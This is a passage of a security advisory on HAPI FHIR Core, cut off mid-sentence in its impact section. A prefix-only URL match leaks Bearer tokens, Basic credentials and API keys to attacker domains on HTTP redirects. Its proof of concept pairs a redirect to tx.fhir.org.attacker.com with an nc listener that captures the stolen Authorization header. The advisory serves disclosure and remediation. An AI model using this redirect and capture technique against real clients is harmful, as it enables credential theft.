HAPI FHIR Core has Authentication Credential Leakage via Improper URL Prefix Matching on HTTP Redirect
Summary
ManagedWebAccessUtils.getServer() uses String.startsWith() to match request URLs against configured server URLs for authentication credential dispatch. Because configured server URLs (e.g., http://tx.fhir.org) lack a trailing slash or host boundary check, an attacker-controlled domain like http://tx.fhir.org.attacker.com matches the prefix and receives Bearer tokens, Basic auth credentials, or API keys when the HTTP client follows a redirect to that domain.
Details
The root cause is in ManagedWebAccessUtils.getServer() at org.hl7.fhir.utilities/src/main/java/org/hl7/fhir/utilities/http/ManagedWebAccessUtils.java:26:
```java
public static ServerDetailsPOJO getServer(String url, Iterable<ServerDetailsPOJO> serverAuthDetails) {
if (serverAuthDetails != null) {
for (ServerDetailsPOJO serverDetails : serverAuthDetails) {
if (url.startsWith(serverDetails.getUrl())) { // <-- no host boundary check
return serverDetails;
}
}
}
return null;
}
```
The configured production terminology server URL is defined without a trailing slash in FhirSettingsPOJO.java:19:
```java
protected static final String TX_SERVER_PROD = "http://tx.fhir.org";
```
This means:
"http://tx.fhir.org.attacker.com/capture".startsWith("http://tx.fhir.org") → true"http://tx.fhir.org:8080/evil".startsWith("http://tx.fhir.org") → true
Exploit chain via SimpleHTTPClient (redirect path):
1. SimpleHTTPClient.get() (SimpleHTTPClient.java:68-105) makes a request to http://tx.fhir.org/ValueSet/$expand
2. On each redirect, the loop calls getHttpGetConnection(url, accept) (line 84) → setHeaders(connection) (line 117)
3. setHeaders() (line 122-133) calls authProvider.canProvideHeaders(url) and authProvider.getHeaders(url) on the redirect target URL
4. ServerDetailsPOJOHTTPAuthProvider.getServerDetails() (line 83-84) delegates to ManagedWebAccessUtils.getServer(url.toString(), servers)
5. The startsWith() check matches http://tx.fhir.org.attacker.com against http://tx.fhir.org
6. Credentials are dispatched to the attacker's server via ServerDetailsPOJOHTTPAuthProvider.getHeaders() (lines 38-58):
- Bearer tokens:
Authorization: Bearer {token} - Basic auth:
Authorization: Basic {base64(user:pass)} - API keys:
Api-Key: {apikey} - Custom headers from server config
Note: An earlier fix (commit 6b615880 "Strip headers on redirect") added an isNotSameHost() check, but this was removed in commit 3871cc69 ("Rework authorization providers in ManagedWebAccess"). The current code on master has no host validation during redirect following.
Exploit chain via ManagedFhirWebAccessor (OkHttp path):
ManagedFhirWebAccessor.httpCall() (line 81-112) sets auth headers via requestWithAuthorizationHeaders() before passing the request to OkHttpClient. OkHttpClient follows redirects by default (up to 20) and carries the pre-set auth headers to all redirect targets. The same startsWith() check in canProvideHeaders() applies.
The same vulnerable pattern also exists in ManagedWebAccess.isLocal() (line 214), where url.startsWith(server.getUrl()) is used to determine whether HTTP (non-TLS) access is allowed, potentially enabling TLS downgrade for attacker-controlled domains that match the prefix.
PoC
Step 1: Verify the prefix match behavior
```java
// This demonstrates the core vulnerability
String configuredUrl = "http://tx.fhir.org"; // FhirSettingsPOJO.TX_SERVER_PROD
String attackerUrl = "http://tx.fhir.org.attacker.com/capture";
System.out.println(attackerUrl.startsWith(configuredUrl));
// Output: true
```
Step 2: Demonstrate credential dispatch to wrong host
Given a fhir-settings.json configuration at ~/.fhir/fhir-settings.json:
```json
{
"servers": [
{
"url": "http://tx.fhir.org",
"authenticationType": "token",
"token": "secret-bearer-token-12345"
}
]
}
```
When SimpleHTTPClient.get("http://tx.fhir.org/ValueSet/$expand") follows a 302 redirect to http://tx.fhir.org.attacker.com/capture:
1. setHeaders() is called with the redirect target URL
2. authProvider.canProvideHeaders(new URL("http://tx.fhir.org.attacker.com/capture")) returns true
3. authProvider.getHeaders(...) returns {"Authorization": "Bearer secret-bearer-token-12345"}
4. The Authorization header with the secret token is sent to tx.fhir.org.attacker.com
Step 3: Attacker captures the credential
```bash
# On attacker-controlled server (tx.fhir.org.attacker.com)
nc -l -p 80 | head -20
# Output includes:
# GET /capture HTTP/1.1
# Host: tx.fhir.org.attacker.com
# Authorization: Bearer secret-bearer-token-12345
```
Impact
- Credential theft: Bearer tokens, Basic authentication passwords, API keys, and custom authentication headers configured for FHIR ter
